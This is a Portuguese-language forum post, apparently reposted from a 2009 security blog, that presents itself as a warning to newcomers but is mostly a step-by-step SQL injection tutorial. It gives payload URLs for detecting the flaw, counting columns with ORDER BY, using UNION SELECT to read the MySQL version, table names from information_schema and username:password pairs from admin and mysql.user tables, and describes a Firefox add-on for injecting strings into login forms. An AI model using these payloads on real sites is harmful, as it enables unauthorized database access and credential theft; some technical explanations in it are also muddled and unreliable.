• Bem vindo à nossa comunidade - Quer se juntar ao resto dos nossos membros? Registre-se*Registros aprovados pela adminitração

Encontrando Falhas na Segurança do SQL.

cabalxp

Novato XPZ
Bom Dia a todos!

Esse tutorial é voltado primeiramente para usuarios de primeira viagem aqui no forum

a meta desse tutorial é informar e aconselhar os novatos a terem um maior cuidado

ao tentar "Manipular um SQL sem noção minima de segurança", "Baixar Arquivos que conténham Query Language ou executar qualquer Query sem saber sua função".

Pois Bem Sem mais delongas.

Duvidas Frequentes.

O que é SQL?

Pra começar você precisa saber que SQL não é um banco de dados; SQL é um idioma (entre especialistas costumamos substituir o termo “idioma” por “linguagem”). A sigla SQL significa Structured Query Language; em português: linguagem de consulta estruturada. Destaquei o “consulta” porque o foco dela é justamente isso: consultar!

Agora é importante que você não confunda a linguagem SQL com gerenciadores de banco de dados! Isso é um erro muito comum!

Hoje existem diversos gerenciadores de bancos de dados disponíveis no mercado, como o Oracle, o Microsoft SQL Server, o PostgreSQL, entre outros. Todos utilizam a linguagem SQL para consultar dados

Conclusão

SQL é uma linguagem de consulta a bancos de dados relacionais. No mercado atual existem inúmeros sistemas gerenciadores de bancos de dados relacionais (comumente chamados apenas pela sigla SGBD); podemos citar como exemplo o Oracle, Microsoft SQL Server, DB2, etc. Estes gerenciadores de bancos de dados utilizam a linguagem SQL para consultar os dados; porém, adicionam à esta linguagem soluções para atender suas particularidades e aí nascem dialetos como o PL/SQL, PL/pgSQL e o T-SQL.

Fonte: Diario de uma DBA

Falha encontrada no SQL Chamado de SQL INJECTION!

Falhas na Segurança do SQL.

O que é Sql Injection?

É uma vulnerabilidade existente nos dias de hoje, que si usa de uma manipulação em códigos sql. Esta vulnerabilidade permite ao atacante executar consultas ao banco de dados inserindo querys (comandos Sql) na url do site ou ate mesmo em campos de text. obtendo, assim, informações confidenciais como logins e senhas, dentre outros.

Hoje em dia são usadas muitas técnicas para explorar um banco de dados de um site servidor… Citarei algumas das técnicas.

1 – Sql Injection

A) Verificar a si existe uma Vulnerabilidade sem programa.

Vou citar um exemplo básico, para se saber si existe uma vulnerabilidade. Suponhamos que existe um site chamado “ALVO”, e esse site contem dados enviados por variáveis URL.

Código:

http://www.alvo.com/news.php?id=5

No caso acima, o nome do site é
Por favor, Entrar ou Registrar para ver o conteúdo das URLs!
, Toda vez que você ver no link de um site o sinal de interrogação seguido de alguma palavra,letra,silaba recebendo algum valor, isso quer diser que existe um dado sendo enviado de uma pagina para outra. Exemplo: ?id=5.

Isso significa que neste caso, a pagina news.php estará recebendo o.

Concerteza na pagina, chamada news.php terá um código, parecido com esse:

$id =$_post[‘id’];

E obviamente terá um código sql, parecido com esse.

Query_rs = “select * from noticias where código=’$id’”

Isso significa que a pagina news.php esta selecionando a noticia em que o codigo da noticia seja igual ao codigo da URL, que seria a variavel $id.

Agora, vamos a parte para identificarmos se o site é vulnerável, colocaremos ao final da url uma aspa simples ( ‘ ). Abaixo é mostrado a forma como a url ficará.

Código:

http://www.alvo.com/news.php?id=5′

Caso o site retorne um erro igualmente ou semelhante ao apresentado a seguir. O site é vulnerável a Sql Injection

Erro:

“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the…

O erro acima diz que a sintase da consulta sql esta incorreta. e pede para você checar o manual correspondente ao SGBD que você está utilizando. “Até parece que você é o administrador do site”

Agora que checamos o erro no site e sabemos que este é vulnerável a injeção de Sql na url. Agora Iremos aprender a explorar esta vulnerabilidade. Com alguns macetes:

default_cool.png
– Localizar a Quantidade/Número de Colunas/Tabelas do banco de dados.

Utilizaremos uma forma bastante simples para descobrir a quantidade de colunas existentes na tabela. Para encontrar a quantidade de Colunas/Tabelas é utilizado o comando ORDER BY, esse comando é colocado no fim da sintase sql, significa ordenar em formas descendente, ascendente dentre outras a suas consulta.

Mas como utilizar este comando Sql?

Ao final da url você adiciona o comando order by e vai adicionando uma sequência de Colunas, ou seja, você pode acionar a coluna correspondente. Caso queira olhar a coluna 1, ordene assim:

Código:

http://www.alvo.com/news.php?id=5 order by 1

Se não aparecer nenhum erro é por que esta Coluna número 1 existe. Para localizar a quantidade de colunas basta ir tentando ordenar todas as colunas de 1 a infinito. Lembre-se que esta vulnerabilidade necessitamos trabalhar em cima dos erros, então o ideal é você ir acrescentado valor até que o site retorne um erro dizendo que a Coluna é inexistente no banco de dados.

Código:

http://www.alvo.com/news.php?id=5 order by 1/* <– Sem erro

Por favor, Entrar ou Registrar para ver o conteúdo das URLs!
order by 1,2/* <– Sem erro

Por favor, Entrar ou Registrar para ver o conteúdo das URLs!
order by 1,2,3/* <– Sem erro

Por favor, Entrar ou Registrar para ver o conteúdo das URLs!
order by 1,2,3,4 <– Com erro

O exemplo acima, é atribuido Colunas (1..2..3..4), no entanto, é mencionado erro na Coluna 4. Conclui-se então que esta Coluna é inexistente e que o banco possui apenas 3 Colunas.

C) – Utilizando a função UNION.

Esta função poderosa é responsável por unir vários dados localizados em Colunas de Tabelas diferentes. “Essa é muito boa”

Vamos utilizar o exemplo abaixo para melhor exemplificar.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,2,3

Explicando a Sql:

O exemplo acima vai possibilitar ao “Injectador” visualizar todas as informações contidas nas Colunas/Tabelas 1, 2 e 3 do banco.

Código:

…?id … union all select 1,2,3

Faça a união de todas as informações contidas das Colunas/Tabelas 1, 2 e 3 do site: http://www.alvo.com/news.php. Está e a ordem que você atribui ao comando colocado na url do site.

D) – Descobrindo a versão do SGBD (MySql).

Código:

http://www.alvo.com/news.php?id=5 union all select 1,2,3

Observe acima que na url o comando Sql pede para visualizar as três Colunas/Tabelas existentes no banco. Agora para visualizar a versão do banco é necessário que façamos uma substituição. Retirar a Coluna/Tabela 2 pelo comando @@version.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,@@version,3

Caso não der certo, você receberá uma mensagem de erro semelhante a esta:

Citação:

“union + illegal mix of collations (IMPLICIT + COERCIBLE) …”

Para resolver este erro vamos utilizar a função convert(). Exemplo abaixo:

Código:

Por favor, Entrar ou Registrar para ver o conteúdo das URLs!
union all select 1,convert(@@version using latin1),3/

Ou então as funções hex() e unhex();

Código:

Por favor, Entrar ou Registrar para ver o conteúdo das URLs!
union all select 1,unhex(hex(@@version)),3/

Com os procedimentos acima, você irá conseguir achar a versão do SGBD MySql.

E) – Obtendo o nome da Coluna/Tabela.

Agora que temos a versão, iremos ao passo seguinte. Descobrir o nome das Colunas/Tabelas:

Geralmente os DBA’s (Administradores de Banco de Dados) utilizam nomes comuns como padronização para suas Colunas/Tabelas como:

Citação:

user, usuario, admin, member, membro, password, passwd, pwd, user_name

Lógico que isto depende bastante de DBA’s e qual tipo de padronização ele estiver utilizando.

Na consulta abaixo o “Injectador” bicuda, isto mesmo ele utiliza a técnica de tentativo-erro, para tentar acertar o nome da Coluna/Tabela.

Código:

Por favor, Entrar ou Registrar para ver o conteúdo das URLs!
union all select 1,2,3 from admin

Observe que acima a query diz: “Mostre-me os valores das Colunas/Tabelas 1, 2 e 3 do usuário admin”.

Código:

Por favor, Entrar ou Registrar para ver o conteúdo das URLs!
union all select 1,username,3 from admin

Caso apareça erro, vá mudando o nome da coluna… afinal é a técnica da tentativa e erro.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,username,3 from admin/

Acima, observe que a consulta começa a ficar refinada: “Mostre-me os valores Coluna/Tabelas 1, o nome do usuário e 3 do usuário admin”. Ou seja, suponha que o DBA tenha criado um banco onde as ele separou a Tabela admin, como o exemplo. No entanto, este admin possui inumeras informações (campos) como: nome do admin (username), password, endereco, idade.. etc.

Código:

Por favor, Entrar ou Registrar para ver o conteúdo das URLs!
union all select 1,username, password from admin

Caso a consulta der certo, na tela aparecerá o nome do usuário e a senha. Esta senha aparecerá na tela tanto como texto ou criptografada, em md5 hash.. etc. Vai depender muito da base de dados onde foi desenvolvido o banco.

Para ficar com um boa aparência e organizada as informações na tela. É utilizado a função concat().

Código:

http://www.alvo.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Dependendo do campo, fica a seu critério inserir em hexadecimal (0x3a) ou utilizando o padrão Ascii (char(58)).

Código:

Por favor, Entrar ou Registrar para ver o conteúdo das URLs!
union all select 1,concat(username,char(58),password),3 from admin/*

Na tela já aparecerá os valores com o nome do usuário administrador e a senha. Faça orações para que não aparece em hash md5 senão vai ser outra guerra..

Dica: Quando está difícil para achar o nome da Coluna/Tabela, sempre é bom utilizar mysql.user, pois é muito utilizado como default e como padrão. Exemplo abaixo.

Código:

Por favor, Entrar ou Registrar para ver o conteúdo das URLs!
union all select 1,concat(user,0x3a,password),3 from mysql.user/*

F) – MySql 5.

Devido algumas diferenças atribuídas a versão 5 do MySql. É mostrado aqui uma técnica para obter o nome das Colunas/Tabelas.

Nesta nova versão, é acrescentada um arquivo chamado information_schema, onde possui informações sobre todas as Colunas/Tabelas do banco. É este arquivo que será o nosso alvo.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

Na consulta acima substituimos o campo 2 por table_name para obter a primeira tabela de information_schema.

Agora para que a consulta seja rápida é necessário acrescentar um limite para as linhas.

Observer abaixo que é colocado como limite 0, 1.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

OBS: você deve ir acrescentando os valores dos limites: 1, 2; 3,4. Vai depender de você, pois vamos supor que o alvo principal é a Coluna/Tabela admin_password e está está na posição 43, então você deveria acrescentar uma por uma até achar… 1, 2; …, …; 42, 43.

Espero que tenham entendido esta parte.

Para obter o nome das colunas, também é utilizado a mesma lógica. Só que agora no arquivo information_schema.columns.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

Agora vamos a uma consulta mais específica. Caso você queira que apareça informações mais específica como o nome dos usuário pode-se fazer a consulta abaixo:

Código:

http://www.alvo.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/

Com esta consulta é visualizado o nome das colunas.. agora é só utilizar os limites para visualizar os nomes de usuários.

Caso os valores estejam em colunas diferentes (lugares) vamos concatenar utilizando o concat().

Código:

http://www.alvo.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

Ferramenta de auxílioSQL Injection 1.2 + Firefox.

Para dá apoio/auxílio na injeção dos códigos da SQL Injection, aqui é mostrado um complemento do Firefox que pode ajudá-lo bastante nesta tarefa.

O SQL Injection 1.2 que é uma complemento que nos ajuda a inserir códigos tanto em Post quanto em Get. Além de você pode memorizar todas as entradas que você adquirir, sem a necessidade de utilizar o Crtl + c e Crtl + v.

Abaixo as ilustrações mostram a facilidade de uso da ferramenta.

Acima simplesmente pedimos para mostrar o usuário, a senha e o email.

Isto é um exemplo de Sql Injection Avançado. Não é uma técnica tão simples, necessita-se de prática e conhecimento em Sql.

Para quem sabe manejar bem o sql, concerteza que com este simples tutorial, aprenderá coisas a mais do que estou ensinando. Aprenderá que para fazer um sql injection basta injetar um código em outro código.

Espero que todos tenham entendido pelo menos a essência da coisa.

0.jpg


A imagem 01 mostra o ícone no campo inferior do Browser. Para darmos início a execução do complemento é necessário dar um clique em cima do ícone (cadeado).

11.jpg


A imagem 02 mostra o complemento em si. Observe que não tem muito mistério, um campo para a escolha da String/Query e dois botões de escolha.

2.jpg


A imagem 3 mostra que o complemento já vem com algumas Strings, as Query’s que aparecem eu mesmo adicionei.

Mas como funciona?

31.jpg


A imagem 04 mostra que o SQL Injection 1.2 já fez a limitação dos campos que podem vir a receber os Strings, que na ilustração acima correspondem a Usuário, Senha, Entrar.

Para inserir é necessário que você clique em cima de qualquer um dos 3 campos do site.

juancarloscunha.jpg


A imagem 05 aparece logo após você clicar no campo desejado. Então você pode fazer a escolha de fazer a injeção por POST ou por GET.

Na imagem 06 você agora deve escolher em qual campo será inserido a String. Para isto você deve optar em clicar em um dos dois botões:

O botão Injection Code possibilita inserir a String apenas no input que você clicou anteriormente.

O botão Injection in all possibilita que a String seja inserida em todos os campos do site.

Observe que eu clique no botão Injection in all.

Pronto, logo após para iniciar a injeção basta clicar no tão Submit this form.

_____________________________________________________________________

Existem também a possibilidade de você criar e salvar as suas próprias Strings/Querys.

Para isto, basta você clicar na ícone do SQL Injection 1.2, mostrado na ilustração 01, e adicionar conforme mostrado na figura acima.

Esta ferramenta ajuda muito aqueles que são fanáticos em sql injection, assim como me ajuda muito.

Este programa é simples e pratico.

Fonte: Segurança em Redes - Conseito de Segurança da Informação Publicado: agosto 19, 2009
 
Editado por um moderador:

Shion

Legendário XPZ
uma boa dica
 
Topo Bottom